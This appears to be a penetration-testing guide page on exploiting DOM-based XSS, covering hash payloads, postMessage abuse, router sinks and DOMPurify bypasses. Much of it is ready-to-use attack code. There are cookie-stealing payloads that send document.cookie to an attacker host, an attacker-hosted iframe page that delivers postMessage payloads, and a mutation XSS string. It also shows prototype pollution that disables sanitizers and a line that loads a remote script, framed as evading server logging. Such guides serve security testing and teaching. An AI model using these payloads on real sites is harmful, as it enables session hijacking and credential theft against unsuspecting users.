Skip to content

DOM-Based XSS Exploitation

5 min read Created Sep 13, 2026 Last updated Sep 13, 2026

With a confirmed DOM XSS source-to-sink flow, the next step is building a working exploit. DOM XSS exploitation differs from reflected and stored XSS because the payload never touches the server. The entire attack chain runs in the browser, which means server-side logging, WAFs, and backend monitoring are blind to it. Delivery typically involves getting the victim to visit a URL you control or a crafted link with the payload in the fragment or query string. Confirming the injection point is covered in DOM-based XSS checks.

Hash-Based Payloads

URL fragments (everything after #) are never sent to the server. This makes hash-based DOM XSS payloads invisible to server-side detection and logging. The payload stays between the victim's browser and the vulnerable JavaScript.

Cookie theft via hash injection:

http://$TARGET_IP:$PORT/page#<img src=x onerror="fetch('http://$LHOST:$LPORT/?c='+document.cookie)">

Start a listener to capture the callback:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT

When the victim opens the link, the vulnerable JavaScript reads location.hash, passes it to a sink like innerHTML, and the browser executes the injected event handler. The fetch call sends the cookies to your server. Because the fragment is not logged server-side, the attack leaves no trace in the application's access logs.

If the application processes the hash through decodeURIComponent(), URL-encode the payload to survive the hash:

http://$TARGET_IP:$PORT/page#%3Cimg%20src%3Dx%20onerror%3D%22fetch('http%3A//$LHOST%3A$LPORT/%3Fc%3D'%2Bdocument.cookie)%22%3E

postMessage Exploitation

Applications that listen for postMessage events and render the received data in the DOM are exploitable from any page that can reference the target window. If the message handler does not validate event.origin, any origin can send malicious messages.

Create a page on your server that opens the target in an iframe and sends a payload:

<html>
<body>
<iframe id="target" src="http://$TARGET_IP:$PORT/vulnerable-page"></iframe>
<script>
  var iframe = document.getElementById('target');
  iframe.onload = function() {
    iframe.contentWindow.postMessage(
      '<img src=x onerror="fetch(\'http://$LHOST:$LPORT/?c=\'+document.cookie)">',
      '*'
    );
  };
</script>
</body>
</html>

Host this page on your attacker machine and send the URL to the victim. When they load it, the iframe loads the vulnerable page and the script sends the malicious postMessage:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT

Origin Validation Bypasses

Some handlers check event.origin but do it incorrectly. Common bypass patterns:

  • Substring match: if (event.origin.indexOf('trusted.com') > -1) allows trusted.com.attacker.com

  • startsWith check: if (event.origin.startsWith('http://trusted')) allows http://trusted.attacker.com

  • Regex without anchors: if (/trusted\.com/.test(event.origin)) matches http://attacker.com?trusted.com

  • null origin: if (event.origin === 'null') is triggered by sandboxed iframes (<iframe sandbox="allow-scripts">)

For the null origin bypass, use a sandboxed iframe:

<iframe sandbox="allow-scripts" srcdoc="<script>parent.postMessage('payload','*')</script>"></iframe>

Client-Side Routing Abuse

Modern frameworks use client-side routers that parse URL segments and render components based on route parameters. If a route parameter is rendered without sanitization, DOM XSS occurs through the router itself.

React Router

React applications using dangerouslySetInnerHTML with route parameters are vulnerable. If a component reads useParams() or this.props.match.params and passes the value to dangerouslySetInnerHTML:

http://$TARGET_IP:$PORT/post/<img src=x onerror=alert(document.domain)>

Angular Router

Angular sanitizes by default, but applications that use bypassSecurityTrustHtml() on route parameters or query strings reintroduce DOM XSS. Test route parameters and query strings with HTML payloads.

Vue Router

Vue applications using v-html with route parameters from this.$route.params or this.$route.query are exploitable. The payload format depends on whether the application uses hash mode (#/route) or history mode (/route).

Bypassing Client-Side Sanitization

Some applications use client-side sanitization libraries like DOMPurify to filter HTML before inserting it into the DOM. These can be bypassed through misconfiguration, mutation XSS, or prototype pollution.

DOMPurify Misconfiguration

DOMPurify is secure by default, but developers weaken it through configuration options:

// ALLOW_DATA_ATTR: true enables data-* attributes, can be chained with other issues
DOMPurify.sanitize(input, {ALLOW_DATA_ATTR: true});

// ADD_TAGS allows custom elements that DOMPurify does not sanitize
DOMPurify.sanitize(input, {ADD_TAGS: ['custom-element']});

// ALLOW_UNKNOWN_PROTOCOLS enables javascript: in href
DOMPurify.sanitize(input, {ALLOW_UNKNOWN_PROTOCOLS: true});

When ALLOW_UNKNOWN_PROTOCOLS is enabled, the javascript: pseudo-protocol works in href attributes:

<a href="javascript:alert(document.domain)">click</a>

Mutation XSS (mXSS)

Mutation XSS exploits differences between how the sanitizer parses HTML and how the browser parses the sanitized output. The sanitizer sees safe markup, but after the browser re-parses it (when inserted via innerHTML), mutation produces executable code.

Classic mXSS payloads exploit browser parsing quirks with nested tags and attributes:

<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(document.domain)>

mXSS payloads are browser-version specific and tend to get patched. Check current mXSS research for working payloads against your target's browser version.

Prototype Pollution to Disable Sanitizers

If the application is vulnerable to prototype pollution, you can override configuration options on DOMPurify or other sanitizers by polluting Object.prototype:

// If prototype pollution exists, inject configuration that weakens DOMPurify
Object.prototype.ALLOW_UNKNOWN_PROTOCOLS = true;
Object.prototype.ADD_TAGS = ['img'];
Object.prototype.ADD_ATTR = ['onerror'];

The polluted properties merge into DOMPurify's configuration when sanitize() is called with an empty or partial config object. This requires a separate prototype pollution vulnerability in the same page.

The exfiltration techniques for DOM XSS are identical to reflected and stored XSS: cookie theft, XHR-based data extraction, and credential capture. The difference is delivery. With DOM XSS, the payload is embedded in the URL fragment or delivered via postMessage from a page you control, so the victim never sees a suspicious server request in their network tab.

Cookie theft via DOM XSS hash payload:

http://$TARGET_IP:$PORT/page#<svg/onload="new Image().src='http://$LHOST:$LPORT/?c='+document.cookie">

For HttpOnly cookies, use the XHR approach to make authenticated requests from the victim's session and exfiltrate the response body. The technique is the same as described in reflected XSS exploitation.

Host the external payload for complex exploitation chains:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT

The delivery URL stays clean:

http://$TARGET_IP:$PORT/page#<script src="http://$LHOST:$LPORT/payload.js"></script>

References